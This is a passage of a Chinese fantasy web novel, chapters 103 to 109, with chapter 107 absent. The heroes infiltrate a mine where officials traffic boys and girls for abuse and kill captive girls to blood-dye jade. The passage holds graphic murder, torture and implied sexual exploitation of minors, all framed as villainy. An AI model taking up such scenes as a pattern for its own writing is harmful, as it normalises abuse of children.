他垂眸扫了林倾月一眼,这才放心:“看你的样子,应该不像有事儿。先前,胖女人说的手术是怎么一回事?”
林倾月就把情况大致说了一遍。
东方起听罢,先是诧异,接着是愤怒:“这简直是荒谬残忍至极!想不到我大齐,居然还有这样的人间炼狱!”
林倾月问他:“你们南风馆的情况如何?”
东方起道:“我打探了一下,南风馆的人数大约有二三十人,成年男子数量不多,大部分都是15岁以下少年,甚至还有更小的。”
“这些少年,基本是出自良家。因为相貌出众被盯上,而后被骗、被拐至此。”
“其中有一个在这里呆了两年,已是资历最老的。听他说,一般最长不超过六个月,或是被搓磨得无法继续接待客人。又或者是,年岁大了不讨喜。就会被送到后山的矿区,当劳力。总之,但凡进到这座矿山的人,不管是劳力,还是被迫**,最终都会不得善终,永远走不出这里。”
“可他们又无法反抗,因为反抗只会死得更惨。听说,百花楼前几个月,有个女子用簪子刺伤了苗东。苗东一怒之下,用了极其残忍的手段,将其虐死。”
“所以,哪怕知道最终都逃不过一死,也没人敢反抗。”
“此外,我还打听到,今晚会有贵客来矿山看玉石,苗东应该会亲自招待。”
林倾月笑了笑:“那倒是好了,省去我们许多功夫。”
东方起有些不放心:“倾月,我知道你生怀异能,就连强大的妖邪都不是你的对手。可有些人,比妖邪更恐怖。而这里,已经是法外之地。所以我觉得你最好还是不要和他们硬碰硬,最好还是等到明天天亮,小灰搬来救兵后再收罗网。”
他顿了顿,继续道:“还有,我刚才站在楼上观察了一遍,有不少地方都设有阵法,即便是红瑶那样的妖类,恐怕都要受其影响。”
第103章 太子被羞辱
林倾月道:“我知道,刚才红瑶已经试过了。阵法主要集中在南风馆、百花楼,还有后园子的那个名为:‘琼楼’的地方。其中,力量磁场最强的就是琼楼。”
东方起转头看去,就看到整个园子里最高的那座建筑“琼楼”,那里到底藏着什么秘密?
转眼到了晚上,整个矿山依然灯火辉煌。
采矿区,矿工们还在继续劳作,乒乒乓乓的敲击之声,混合着鞭子的抽打,隐约中还能听到工人们垂死挣扎的哀嚎声。
而在另一片山坳里,却是琼楼玉宇、雕栏画栋,华贵的灯光将周围的植被都映照的,如琉璃般璀璨。
就在这时,一大批官兵簇拥着七八辆华贵的马车,从夜色中驶来,驶入了那一片琉璃般璀璨的世界。
车停、人出。
十几个穿着锦衣华服的人汇集在一起,边说边笑,踏入了这片雅致的园区。
“苗大人,我自从去年来过一次你这的人间仙境后,再难忘记。我父亲、祖父问我想到哪个地方为官,我不假思索便选了东林。”
“哈哈哈哈……”苗东哈哈大笑起来,“李公子真是太抬举了。您这样的贵人,什么好东西没见识过?再说了,这里的一切都归属于李氏家族,我只是帮着打点,顺便修了这么一座小小的庭院,让您这样的贵人来视察的时候,能有个落脚的地方休息而已,算不得什么。”
苗东今年已有四十五岁了,身形挺拔,五官儒雅,长得倒是一表人才。
而那个被他称为“李公子”的人,乃是李氏家族中的嫡系子弟,最近刚刚入仕,在东林府做地方官员。
虽说如今的官职比苗东低半品,可李公子今年才刚满二十,又有整个家族为他铺路,不用多说,未来定是要出将入相的人。
因此,苗东对他的格外殷勤。
除了这两人之外,其他人也都是东林的地方官员,作为陪客而来。
接待这样的贵客,规格当然是最高的。
因此一行人,径直到了琼楼。
很快,美酒佳肴都摆上了席面,贵客落座,却没有一人动筷子。
李公子只是淡笑着看向苗东:“美人呢?”
“有美酒佳肴,当然不会少得了美人。”苗东说罢,拍了拍手掌。
于是,面前的屏风撤下,露出一个莲花舞台。
美人们,从左右两侧登台。
左边一排,都是男性。
右边一排,则是女性。
一个个都是盛装打扮,妆容精致。而那些美丽的女子,尤为特殊一些,他们的眼睛上蒙着一条轻薄的丝带,遮住了眼帘。
李公子问:“怎么那些女人都遮着眼睛?”
苗东笑着解释:“这些是专门为胡大人、刘大人他们几位准备的。”
胡大人说,“我不过是随口和苗大人提了一嘴,喜欢盲女的温驯。没想到苗大人就记在心里,专门给我驯养了一批。每次来,感觉都不一样。”
刘大人道:“我看到那边几个眼上的纱布还在流血,点点殷红,着实美丽,简直让人诗兴大发!”
说着,他即兴发挥,直接用手蘸酒,在桌上洋洋洒洒写了一首诗。
“好文采!”苗东大声地称赞,又喊道,“来人,把刘大人的大作抄录下来,将来定可流芳千古。”
李公子对盲女们不敢兴趣,目光依次从台上的少年身上扫过,满意地点头:“不错不错,这些质量都很好嘛!”
在京城里,喜好男风是不能摆在台面上的,但如今天高皇帝远,一切便可由着喜好来。
李公子的口味偏好稚嫩的,但此刻他的目光却落在了莲花台上,那个子最高,背对着他们的白衣男子身上。
“你,转过身来。”李公子冷冷地下令。
那不是旁人,正是当今的太子殿下东方起。
上台之后,东方去一眼就认出了李铎。
当初,齐帝为了拉紧太子和几大世家的关系,专门从各大世
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家中挑选出适龄弟子,做太子的陪读。
李铎就是李家选出来的陪读人选,说起来和东方起曾有过五年的同窗之谊。
不过,那时陪读者太多了,李铎和太子关系一般,私下并不往来。
可即便如此,他也一定认得出东方起。
所以东方起没有第一时间转过身,免得将自己的真容暴露出来。
而此刻,听到对方向自己下了命令:“你,转过身来。”
他不好违背,幸好急中生智,撕下来一片内袍的下摆,遮在脸上。
于是,李铎就看到东方起白纱遮面,五官若隐若现,却越发显得气质脱俗。
“就你了!”李铎的眼睛都看直了,不住地夸赞,“此子自带清贵气质,叫人一眼心动,忍不住想要扯下他的面纱一睹芳容啊!”
东方起:“……”
本宫想剜掉你的眼睛,然后放小灰咬死你!
林倾月和红瑶也在台上,眼睛上假模假样地蒙着白色的绸布。
听到李铎的话,又注意到东方起的反应,林倾月立马就猜到应该是熟人。
现在还有面纱遮挡,等距离近了,铁定会认出。
于是,林倾月迅速抽出一张易容符。在东方起从自己身边走过的时候,打入他背后,并小声提醒:“此符有效时间为两个时辰,在此时间内,你的真容不会有人看穿。”
东方起闻言暗暗松了口气,寻思着:他们几人吃顿饭怎么样也不会超过两个时辰吧。
易容符本来是林倾月专门给红瑶准备的,怕她被苗东给认出来。
之前在王大夫那里,红瑶还能使出些妖术。而琼楼里有很强大的阵法加持,红瑶的妖力被压制,无法使出妖术。
不过这些,对林倾月完全不起作用——她又不是妖。
东方起被选中,带到了李公子面前。而苗东、周大人等一众贵人,也都选好了喜欢的女子陪酒。
巧合得很,苗东一眼就选中了红瑶。
第104章 恰是故人归
此刻,在苗东眼里,红瑶已是另一幅陌生的面孔。可她那婀娜的身段,依然让他想起一个人——曾经的妻子,那个在贫寒里陪伴了他多年的狐妖女。
只是当初,两人在一起相处久了,当男女方面的激情淡去,当他一心想扑在功名利禄上,妻子的任何优点都看不到了,只如鸡肋食之无味,于是就想到用妻子换前途。
如今,他早已名利双全,家里妻妾成群,还在这里圈养了各式各样的美人。
可当他阅花丛,才发现那些莺莺燕燕竟没有一个有红瑶当年的风姿。
所以,当看到那个身形酷似妻子的女子时,他毫不犹豫地选了。
林倾月也给自己用了易容符,她倒不怕被认出来,只是把自己给变丑了,免得去应付那些恶心的男人。
落选的女子要被送回住所,林倾月只是一个错身,就避开了押送的护卫,而后再度折返琼楼。
不过她没有去二楼那些权贵们寻欢作乐的地方,而是去了琼楼的下方。
刚才来的时候,她注意看了。
楼梯除了向上之外,还有一直往地下延伸的。而那个方向,有很强的怨气。
琼楼的地底下,到底藏着什么秘密,林倾月当然要一探究竟!
琼楼里。
“把面纱摘下来。”
李公子色眯眯地盯着东方起:这么美妙的身段,连手都长得如此好看,还不知道生了怎样一张魅惑勾人的脸呢!
想着想着他的心就痒痒了起来。
结果下一刻,面纱落下,露出一张塌鼻、歪嘴,还满是雀斑的脸来。
李公子脸上笑容一垮,只剩失望:“怎会如此丑陋?明明你的眼睛、眉毛……不对,刚才远远看着眼睛挺好看的,怎么走到跟前就变得平平无奇了呢?”
再看他的气质……气质也不对啊,哪有什么清贵气质。就是个平凡的莽夫!
李公子顿时很生气:“苗大人,这样的货色,你是怎么选进来的?”
苗大人赶忙道:“公子别生气,可能是底下人眼拙,一时没注意。”
说话间,正准备把东方起赶走。
东方起也转了身准备走,却听身后忽然传来一声:“等等!”
李公子站起来,慢慢地走到他的身后仔细打量:“正面看不怎么样。可你的背影……很像本公子的一位同窗啊。”
“哦?是哪一位?”苗东问。
如果是在别的东方,李公子未必说,可是他知道在这里发生的一切都不会传出去,于是便口无禁忌地说:
“像极了太子殿下!”
一语既出,四座皆惊,连东方起都暗暗皱了下眉头。
李公子扬扬得意地道:“本公子当年有幸被选为东宫伴读,陪伴太子殿下读书。殿下风姿绰约,犹如仙人临世,实在叫人心向往之啊。可惜他没有龙阳之癖,要不然我定要自荐枕席!”
他说着轻浮地笑了起来,周围人也跟着大笑,并开着玩笑:
“李公子难道试探过?否则怎知他没有龙阳之癖?”
“我听说太子至今未婚,甚至连通房丫鬟都没有一个,保不齐就是喜好男风啊!”
“可惜殿下不在此,否则下官定为您二位拉媒配对!”
李公子摆了摆手:“现在说这些也没用。太子病重已经不中用了,朝中几位王爷个个都想取而代之。先前最有希望夺嫡的是晋王,不过晋王最近被陛下申斥还罚了禁闭,看样子是失了龙心。”
“如今风头最盛的,便是我姐夫厉王!本公子今日来此,除了寻欢之外,也是为我姐夫挑选生辰贺礼。”
苗大人道:“我早准备好了一批上好的红玉,公子看看哪几个适合——来人,把红玉呈上!”
李公子重新坐了下来,并吩咐东方起:“把面纱戴好,坐到本公子身边来。丑是丑点,但凭你和太子殿下如此神似的身形,本公子今晚也要狠狠地宠幸你!”
当年读书的时候,太子高傲清贵,他几次想要靠近,可太子都没拿正眼瞧过他。后来选择幕僚时,太子选了好几个人,偏偏把
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他排除在外。
就连他姐姐——最初他们李家是准备和皇室联姻,将嫡女嫁给太子。
可太子连看都没看一眼,就推辞了。
李家这才退而求其次,将女儿嫁给了厉王。
想不到,风水轮流转。当初那么不可一世的太子殿下会突然一病不起,晋王也失了龙心。而李公子的姐夫厉王,反而开始冒头了!
想到得意出,李公子忍不住伸手去搂东方起。
“公子要喝酒吗?”
东方起压着嗓子问的同时,掀开面纱,露出易容符幻化出来的塌鼻、歪嘴和满脸的麻子。
于是刚刚起了色心的男人,顿时又萎了。
“谁叫你掀开面纱的?**,假货到底是假货,真是扫兴透了!”他生气地呵斥,“一边坐着,不准露脸、不准说话!”
这时,几个仆从捧着十个托盘走了上来。
苗东上前,一一掀开托盘上的丝绸盖布,露出十个造型精致的玉雕、饰品。
“这些是已经养了两年的红玉,公子您瞧瞧怎么样。”
李公子当然也是见过好东西的人,可眼前的红玉美轮美奂。
既有顶级翡翠的水头,又有世上罕见的鲜红如血的颜色。
拿灯光照,还能看到玉石内部一丝一丝的纹路,姿态各异,美轮美奂。
“漂亮,真是漂亮!比你上次送来的那一批更美!”
琼楼下,林倾月来到了地下入口处。
为了避免人靠近,这里有铁门锁着。铁链锁都用了三道,可见防护之严。
此外,铁门上还贴了几十张符咒,却不是贴在外面的,而是在门内。好像是怕底下有东西出来,才设置**的符咒。
以林倾月如今的实力,这一道铁门根本不放在眼底。
手指在锁眼上轻轻一抚,锁就开了。
跨过铁门,沿着蜿蜒的楼梯踏入了地下空间,即便隔着鞋子,林倾月能感觉到地面湿滑黏腻。
森冷寒意扑面而来,血腥气味弥漫,她皱了皱眉,屏息前行。
第105章 血色宝玉
眼前,出现了一个巨大的血红色池子。
只一眼,她就看出,那是人血染就!
池子的底部铺着晶莹剔透的寒冰。
寒冰之上,全是年轻、赤裸的女子,有些已经死亡,有些虽然还活着却也即将死亡。
无一例外的是,她们的胸口部位被挖开,又缝合上。里面鼓鼓囊囊的,似乎有什么东西。
琼楼之上,红玉流光溢彩,闪耀夺目。
就连红瑶都看直了眼,暗暗惊叹:世间竟有如此无暇的美玉!
最近红玉在东林府盛行,除了漂亮之外,还极为罕见。东林府的贵女,都以能拥有一件红玉饰品为尊。
红玉的价格因此一路飞涨,可依然千金难求。
可没人知道的是,所谓的天然红玉、稀世珍宝,不过是他们包装出来的一个玩意儿罢了。
不过这东西,工艺还是很复杂的。
需要选取质地上佳的白玉,而后藏在少女的心头,以心血滋润。积年累月,血红的颜色才慢慢地透入玉石,成为红玉。
而红玉最初的诞生,还是因为李公子的父亲李严,有一次随身的白玉玉佩被侍妾的血给染红了,他觉得很好看。
于是干脆将那侍妾杀掉,用她心头血养玉。
可人死后,血的颜色也慢慢改变,即便低温保存也不过三天就会变色。
于是,为了得到最好的红玉,他趁着某次来东林看玉的时候,在琼楼里实验用活人的心头血滋养美玉。
就这样,直到半年后,终于得到绝佳的美玉。而那些养玉少女的下场有多么凄惨,不言而喻。
可平民女子的生死惨况,对于高高在上的贵人而言有算得了什么?不过是蝼蚁而已,能有利用价值,便该感到荣幸!
李严养玉的瘾头也越来越多。作为京城权贵,他不能久留东林,也不好在京城做这样的事情,免得被人发现,家族名声就全毁了。
于是,就授意苗东,在琼楼里替他养着玉。
“这批红玉是我这两年里酝酿的最好的玉,说是传世稀宝也不夸张。同一批次的残次品,我放到东林的市面上去卖,很快便被抢购一空,供不应求。若能量产,必然赚得盆满钵满!”
李公子道:“这些真是宝贝,宝贝啊!不过眼下赚钱是其次,只要大权在握,何愁没有钱?如今首要的,便是要笼络好我那厉王姐夫。只有这样,等将来他登了高位你们这些人,才能跟着鸡犬升天。”
“当然,玉也要继续养。每年控制产量,不要一下子出太多。再好的东西,一旦泛滥了,就不值钱了。”
“只有控制好产量,原本只值一两银子的白玉就能摇身一变,成为千金难求的红血宝玉!”
苗东说:“是!公子高瞻远瞩,我等受教!”
李公子道:“好了,把这些红玉都收起来。等本公子离开的时候再带走,我姐夫肯定会喜欢。”
苗东就挥了挥手,让人把红玉都送下去。
“玉看完了,接下来几天里,公子好好享受!”
苗东使了个眼色,丝竹声起,舞女甩着水秀翩翩起舞。
而他也坐回到位置上,凝眸看了眼身边的红瑶,忍不住叹了一声:“你的身形,恰似故人归。”
“那故人,今在何方?”红瑶问。
“故人……”他想起不久前,忽然出现想要行刺自己的狐妖,微微一笑,“故人,总有再会之日。”
他已经做好了完全的准备,只要她再度出现,就再不会放她离开。
“来,美人喝酒。”他亲自为红瑶斟了杯酒,眼神也格外温柔起来,“你好好的服侍我,我一定会对你好。”
红瑶没有喝酒,柔荑纤纤捧着青瓷酒杯,殷勤地送到男人的唇边:“奴家喂大人喝酒,大人请喝。”
苗东的眼神眯了眯,就着美人的手,慢慢地喝下了琼浆玉液。
接下来,红瑶一直在给他喂酒。
离得近,她看到他脖子上挂着的护身佛牌,有这东西自己就没有办法伤害他。
可若是将他灌
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醉,再想办法哄他自己摘下佛牌,那时红瑶即便不用妖术也能杀了他!
另一边,李公子身边又多了一位少年,他搂着少年一杯杯地喝酒,眼神却一直朝东方起的背影瞟来。
太像了,真是太像了!
“太子殿下……”几杯烈酒下肚,醉意上头。眼前的背影和记忆里的人重叠在一起,叫他一时分不清真假。
“殿下,为什么你从不肯正眼看我?我想留在你身边,留在你身边啊……”
他一把推开怀里的少年,摇摇晃晃地站起来,手掌搭在东方起的肩上。
这次东方起没有拒绝,低声道:“你醉了,我带你下去休息吧。”
林倾月给的易容符有时间限制,眼看着快要失效了,东方起自然不能再干坐着,得把李铎这个浑蛋玩意哄走,最好到个没有旁人的厢房里才好。
那时,就算易容符失效,以东方起的实力对付一个醉鬼,也完全不在话下。
李公子笑得**:“殿下着急了?我就知道,殿下你啊就是假正经!表面上不近女色,私底下还不知道玩得多花呢!”
“何必那么拘谨?坐本公子怀里!”
这架势,看来是根本不想避人。
东方起眼神冷冷地瞥来,抿了抿唇道:“既然你喊我殿下,那我便是尊贵的太子殿下,被人瞧着成何体统?”
虽然压低了声调,可说话的语气居然也有几分太子的感觉。
“殿下这是害羞了?哈哈哈……”他轻狂地淫笑着,摇摇晃晃地站起来,“好,那我们就避开这些人。去房里亲热,不叫他们看!”
“你们!”他醉眼朦胧地指着周围的人,“殿下要做明君,和本公子欢好的事儿谁都不准透露!”
其他人也都醉了的七七八八,跟着起哄:
“祝李公子和太子殿下百年好合!”
“哈哈哈,恩恩爱爱!百年好合!”
东方起整个人都不好了,幸好有面纱遮面,否则他脸上的怒容根本掩藏不了。
第106章 红瑶被认出来了
为了方便贵人休息,宴会厅的楼上就有贵宾休息室,里面高床暖枕、熏香袅袅。门内门外,都有护卫守着。
当东方起扶着李公子进去后,屋里的守卫也没有要离开的意思。
东方起皱眉问:“你们不出去吗?”
一个守卫道:“之前有女子在这里刺伤了苗大人。所以为了安全起见,我们要寸步不离地保护贵人安全。”
东方起就很无奈:“难道做那个事情也要……也要你们看着?”
对方没有回答。
而那李公子也根本不在乎有没有人窥探到隐私,拉着东方起往床榻走去。
东方起滚上床的时候,眼疾手快,扯下了鎏金铜帐钩,藕荷色的窗幔垂挂下来,遮住了床内的风景。
李公子早已色急,快速地扒去自己的衣服,嘴里还在说着荤话:“今日,我便教你尝尝什么是人间极乐。还愣着干什么,脱衣服!”
东方起的手摸向自己的腰,下一刻忽然抽出一笔软剑。
不等那李公子反应过来,冰冷的剑锋已经横在他的脖子上。
李公子瞪大了眼睛,正要喊叫,就先被东方起“砰砰”两下点了穴道,动不了也喊不出声来。
“李铎,你当真好大的胆子!”与此同时面纱落下,易容符失效,显出他的真实容貌。
一看到这张脸,李铎的酒彻底清醒。
太子殿下!
是真的太子殿下!
李铎瞪大了眼,惊讶又满是不解。
他不理解,为什么都说太子要**,却还好生生地活着。没死也就算了,居然还跑到玉石镇这种地方来?
“李铎,以你今日种种恶行,杀你不冤!”
东方起说罢剑锋猛然用力,切断他的喉咙,又在鲜血即将喷溅出来的时候,迅速用被子捂住。
李铎在咽气的最后一刻,喉间才滚出一句:“我……不……想死……”
便再也没了动静。
以东方起的为人,若是以往碰到这类的案子,会将人擒拿后再送监查办。
可东方起心知肚明,以李铎的身份若是送去京城,李家必然有办法保住他的命。
所以该狠的时候,他也绝不会心软。
东方起就着床上的褥子将剑身擦拭干净,而后盘回腰带上缠好。
他做完这些后,透过床幔的缝隙,悄悄地窥探了眼外头:只见那两个护卫,还在室内尽职尽责地守护着。
从门口出去,容易打草惊蛇。
于是,他从床榻的后面下了床。
床后有屏风,有恭桶,是室内如厕的地方。此外,还有一扇小窗。
他推开窗俯望,只见下方的落差足有十几米。
东方起纵身一跃,身形轻若乳燕穿云,衣袂翻飞间已如落叶般旋落地面,足尖点地时竟未惊起半分尘埃。
刚落地不久,就遇到了从琼楼里出来的林倾月。
东方起赶忙上前询问:“你到哪了?我正想去找你。”
林倾月就将刚才在琼楼地底下看到一幕告知给东方起。
东方起道:“我刚才在楼上见他们展示红玉,也听到苗东说了红玉的制作过程。他们居然丧心病狂到用血养玉,甚至还将这当成了一盘生意,意图换取高额回报!”
此刻,他甚至有些庆幸:“还好我们多管闲事,为红瑶之事来到了东林府。否则这样的罪孽,还不知会隐藏到什么时候!还不知会有多少人受害!”
林倾月便问道:“红瑶呢?”
东方起道:“我离开之前,看到她和苗东一起去了楼上厢房。”
楼上厢房。
红瑶被苗东搂着走进房间的时候,他们身后跟着的护卫也随之进来了。
红瑶转头瞄了眼,就看到其中一人的腰间还挂着一把镇妖剑,知道这人肯定是厉害的术士。
她的明眸眨了眨,问道:“大人要和奴家欢好,难道还要留几个观众?”
苗东哈哈大笑:“美人害羞了?好好都依你,依你!”
他说着挥了挥手,其他的护卫便转身离去。
唯有那位术士不放心:“大人,安全起
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见,我还是留在您身边吧,我怕……”
“你怕是想偷看!”不等他说完,红瑶就打断了他的话。
苗东不耐烦地道:“让你出去就出去,哪来那么多废话?”
术士道:“在下就守在门外,有事大人您吩咐。还有大人身上的护身物品,切记不要随便摘一下。”
交代完之后,术士这才离去。
房门关上,装修精致的厢房里便只剩下了苗东和红瑶。
红瑶眼珠一转,看到房间里的浴盆,笑眯眯地说:“大人,奴家伺候您沐浴。”
苗东醉眼朦胧地盯着红瑶:“美人是要跟我洗鸳鸯浴吗?”
红瑶听得这话恶心得想吐,却依然笑着说:“是啊大人,奴家给您宽衣。”
脱去了外裳、中衣,当红瑶的手指触及到佛牌的时候,被灼了一下。
红瑶立刻收回了手,抬眸间只见苗东享受般地闭着眼睛,没有发现这些细节。
她才稍稍放心,脱里衣的时候,动作更加轻柔,小心翼翼地避开了佛牌。
“大人,您脖子上挂的是什么?看起来很名贵,若是带着一块洗澡会弄湿损坏吧?”
苗东说:“这是护身佛牌,防止妖魔鬼怪伤害本官。”
红瑶笑了起来:“大人真会说笑,这种地方,怎么会有妖魔鬼怪呢?沾水真的不打紧吗?”
苗东就把那佛牌取下来,随手往旁边一放,然后色眯眯地看着红瑶:“美人,该你宽衣了。”
红瑶一边装作宽衣,一边走到置物架上,加那块佛牌用自己的外衣罩上。
“好了吗?怎么脱个衣服那么磨磨唧唧的?”苗东的语气里带着几分不耐烦。
"好了。"红瑶勾唇一笑,顺手拿起苗东的腰带,猛然缠住他的脖子。
可正当她想要收力,勒死这可恶的男人时,忽然被对方身上一股大力给弹走。
“砰!”她倒飞着摔到了地上。
而苗东站起来,走到她面前居高临下地笑着:“红瑶我妻,许久不见,别来无恙。”
第108章 身临其境
“是吗?”东方起笑了笑。
下一刻,他的剑锋再次一偏,苗东左腿上的肉也被他剜下来一大块。
“你左腿的肉也露出来了。再不藏好,我就把你的两条腿都砍了!”
于是两腿是血的苗东,蜷缩在地上努力地把自己往衣服里藏。
“你们到底是什么人?我这里明明设了伏妖的阵法,你们怎么还能够使用术法?”
林倾月嗤笑一声:“你真以为养几个术士,让他们再给你布置一些阵法,就能万事大吉,然后无法无天地去作恶?今日,我让你知道什么叫恶有恶报。红瑶——”
她将地上的红瑶搀了起来,又在她的身体里注入一股灵力,帮助她调理好刚才的伤势:“你不是恨他吗?不是想吃他的肉,扒他的皮吗?现在,这里我的结界空间,可以随便使用你的妖术。不过,别把人给弄**,否则就太便宜他了。”
红瑶站起来,脸上的气色好了许多,原本被压制的妖术也全部回来了。
房间里面没有风,可她一头的墨色长发却在肆意飞扬,浑身散发着强大的气场,一步一步的走向苗东。
苗东像离开水的鱼,垂死挣扎:“阿瑶,你听我说,我们夫妻多年,那么深的感情,你不能说忘就忘呀!”
“我错了,阿瑶我真的错了!你原谅我好不好,只要你可以原谅我,不伤害我,你要怎么样对我都可以!”
“我给你姐姐修墓,我给她供长生牌,找人给她超度!我会尽一切努力弥补你们姐妹俩,好不好?”
“阿瑶,阿瑶……”
红瑶眼眸赤红,满心悲怆:“我姐姐已经**,连魂魄都找不回来了。你要怎么弥补?我又该怎么弥补?”
她的眼眶中流出血红的眼泪:“你弥补不了,而我……要让你亲自品尝一番,被挚爱背叛,惨死的痛苦!”
说罢,她眼底红光大现,落在苗东的眼里,他的神情忽然就恍惚起来。
他在恍惚中,忘记了今夕何夕,忘记了前程往事。
此刻,他发现自己变成了一只狐狸。
一只被关在笼子里的狐狸,笼子外是一口巨大的铁锅,锅下方的柴堆正燃着熊熊的火焰。
“嚓嚓——嚓擦——”
有人在磨刀,看背影像一个女人。
苗东的爪子扒了走笼子,嘴里发出呜呜的哀嚎:“你是谁?为什么抓我?你放了我,求求你放了我……”
女人并不理会他,只是认真地磨刀:“嚓嚓——嚓擦——”
刀终于磨好,女人举着刀转过身来,露出一张倾国倾城的容颜——红瑶,他的妻子。
哦,他想起来了。
他是一只修行了多年的狐狸,因为爱上人类,所以放弃修行和这个女人在一起生活。
可夫妻多年,那狠心的女子却把自己关进了笼子。
她举着刀,满怀遗憾地说:“人妖殊途,你我注定不能长久。反正你这一身皮肉,早晚也要被吃干抹净,不如就给我吧。夫君,你不要挣扎,我刚才已经给你灌了会让你浑身无力的药。所以,你逃不掉的。”
女人拽着他的尾巴,将浑身疲软无力的“狐狸”从笼子里拖了出来。
“他们说,狐狸的皮**很值钱,尤其是百年修行的老狐狸,千金难求。不过,为了保持皮**的鲜亮,免得鲜血弄脏了这么好的一身皮草,所以不能放血,也不能让你死掉。”
“虽然活剥是痛苦了些,但是我会尽量快一些,你别动,别挣扎。要不然刀子扎歪了,皮草不完整可就不值钱了。”
啊!脱皮了,好完整皮。
然而这却不是一张完整的狐狸皮,而是属于人的……皮。
“夫君,你都没有皮了,怎么还在挣扎?很痛是不是?可是你知不知道,和皮肉上的痛苦相比,心痛才是真的痛。你想尝尝心痛的滋味吗?”
“你的心在哪里?让我剜出来看看,是黑的还是红的?”
血淋淋的胸膛里,掏出来的居然是一颗黑色的心,红瑶一点也不意外:“呵,果然如此。”
苗东浑身上下,由内到外,都承受着巨大的痛苦,气若游丝
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地哀求着:“杀了我,求求你杀了我。我好痛,真的好痛好痛……”
他生不如死,却一直死不掉,只能慢慢地品尝着痛苦的滋味。
直到一夜过去,天光大亮。苗东才从红瑶为他制造的幻境中,苏醒过来。
他喘着出气,慌里慌张地查看自己的身体:“还好皮还在,心也还在!”
再看周围景象,这里还是先前的那个房间,地上还残留着已经干涸的血液。而红瑶、林倾月、东方起都已经不在。
苗东向着门口方向挪动了下身体,同时大声地喊道:“来人啊,快来人啊!”
没有人回应。
他扯开嗓子继续喊:“来人!你们都死哪里去了?本官**了,**了!快来救救本官啊!”
门外终于传来急促的脚步声。
房门被撞开,几个护卫冲了进来,也被眼前的一幕给惊呆了。
“大人!大人您怎么样?”
有人将苗东扶上榻,有人去喊大夫,有人在四处寻找刺客。
可林倾月等人却好像凭空消失了一样,彻底不见了。
身边围满了不少护卫,苗东紧张的情绪才稍微舒缓一些,但很快恨意再度浮上心头。
他猜测,后来出现的一男一女,肯定是红瑶起来的帮手。
可他们居然没有杀死自己,这实在有些奇怪。
难道是红瑶的**,对自己余情未了,所以不忍心下最后的毒手?
想到这里,苗东冷笑一声:“女人就是成不了大事!今日本官逃过一劫,定要不计代价把红瑶那个**找出来,然后千刀万剐,让她再没有机会祸害自己!”
就在这时,手下人来报:“大人不好了,李公子……李公子他他他他……”
苗东骂道:“废物,话都说不清楚吗?李公子他到底怎么了?”
手下道:“李公子他……他**!”
“什么!”苗东大惊失色,腾地一下从床上坐起,动作幅度太大,牵动了腿上的伤口,顿时又痛得龇牙咧嘴。
“快,快带我去看!”
第109章 公道在哪里?
李铎乃是李氏家族的嫡子,父亲是当朝的李国公,身份贵重。
李铎出事了,李国公一定不会放过苗东。
所以哪怕此刻苗东浑身是伤,也顾不得医治,叫手下抬着到了李铎昨晚休息的房间。
李铎是死在床上的,脖子被利刃切开,鲜血把床上的被褥全部浸得湿透,又顺着床沿滴落下来。
苗东一见此景,慌张得好像自己**一样。
“昨晚,陪着李公子的那个男娼妓呢?”
虽然昨晚东方起和林倾月一起救了红瑶,但那时东方起已经恢复了自己原先的容貌,所以他并不知道东方起就是昨天陪李铎的人。
而他的手下们,更是什么都不知道。
主管这里的胖女人也被带到苗东面前,跪着瑟瑟发抖。
苗动气的用剑抵着胖女人胸膛,质问:“那几个人,是通过什么途径进入这里的?”
胖女人结结巴巴地道:“回大人,是昨天从东林府送过来的。身份核实过,那三人一个是投奔远方亲戚途经东林府,一个是父母双亡流落在此讨生活的,还有一个被卖后,逃到东林府,饿极了才进了大人的食棚子吃饭。”
“他们的衣服破烂,蓬头垢面,看着就是苦出身的。奴家也只是瞧着,他们长得好看,才挑选出来送到园中来伺候贵人。”
“蠢货,那明显就是他们的乔装而已!你竟然连这点眼力劲都没有,也就没有必要当这里的管事了。”
说罢,他一剑洞穿了女人的胸膛,然后吩咐道:“搜,哪怕掘地三尺也要把那三人找出来!命令所有的术士,跟着一起追踪!本官就不信,在本官的地盘上,他们还在插翅飞了不成?”
他手下圈养的术士很多,昨天也是大意了才被钻了空子。
此刻**,对于妖物鬼怪一类来说,不利于隐藏。甚至有些邪物,还惧怕阳光。
所以苗东认为,派出所所有的术士全去搜索,肯定能找到那三人的踪迹。自己也好给京城的国公爷一个交代。
“对了,还有那些和他们同一批来的人,不管是矿工还是女人,统统杀掉!绝对不能再留有后患!”苗东狠心地下令。
他才不在乎会不会错杀,人命对他来说已经不值一提了,要紧的是自己的前程。
然而就在这时,忽然又有人来报:“大人,有大批官兵进山围了咱们的矿山。”
苗东满心疑惑:“什么官兵?不管是附近县里的,还是东林府的,不都是咱们自己人吗?”
手下道:“都不是。对方打出的旗子是……是北原道节度使!”
“什么!”苗东大惊失色。
若是地方上的官兵,那他完全不带怕的,因为本就蛇属于窝,谁都干净不了。
可北原节度使,那可是皇亲国戚,手下兵马众多,且都是上过战场的强兵猛将,根本不是地方上那几千守卫能比得了的。
他心里慌张,隐约感觉事情有些不妙。却还是强作镇定,坐着软轿,叫人抬着前去迎接。
才刚刚走出园子,大批官兵已经涌了进来。
北原节度使骆威一身戎装,神情冷酷,高声质问:“苗东何在?”
苗东赶忙从软轿上滚下来:“下官苗东,在此恭迎骆国公!”
骆国公冷冷地瞥了他一眼,下令:“拿下!”
苗东被五花大绑时,还在慌张地大喊:“国公大人,您这是做什么?下官是东林府长史,从五品官员。您即便要拿我,也得讲究证据!”
“证据?你诱拐无辜良民为你私用,还强抢民女,草菅人命!”
说话的是谢守正,他握着血棘鞭指点着周围,道,“整个山头的一切,不都是你的罪证吗?”
苗东知道这里的罪恶已经无法隐藏,干脆将心意一横道:“骆国公容禀,这座玉石矿山乃是李国功的私矿,下官只是帮李国公打理而已。李国公和您一样,同为皇亲国
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戚,深受陛下重用。若是您能看在李国公的面上,将此事大事化小,小事化……”
不等他说完,骆国公冷声打断:“国法不是儿戏!即便是李国公,他若犯罪要依法处置!”
谢守正在旁边张望了一圈,没有看到东方起他们,便询问苗东:“昨天来的几个人……”
他不好提起东方起,转而道:“红瑶,你可见过?她现在在哪里?”
“我在这里。”伴随着一道清润悦耳的声音,红瑶现身出来。
谢守正赶忙走过去,压低了声音询问:“公子可还好?”
红瑶道:“不必担心,公子和小姐一切安好。只是现在不便露面出来,所以让我出来指正苗东。”
苗东看到红瑶和谢守正亲密耳语,一副是很熟悉的样子。
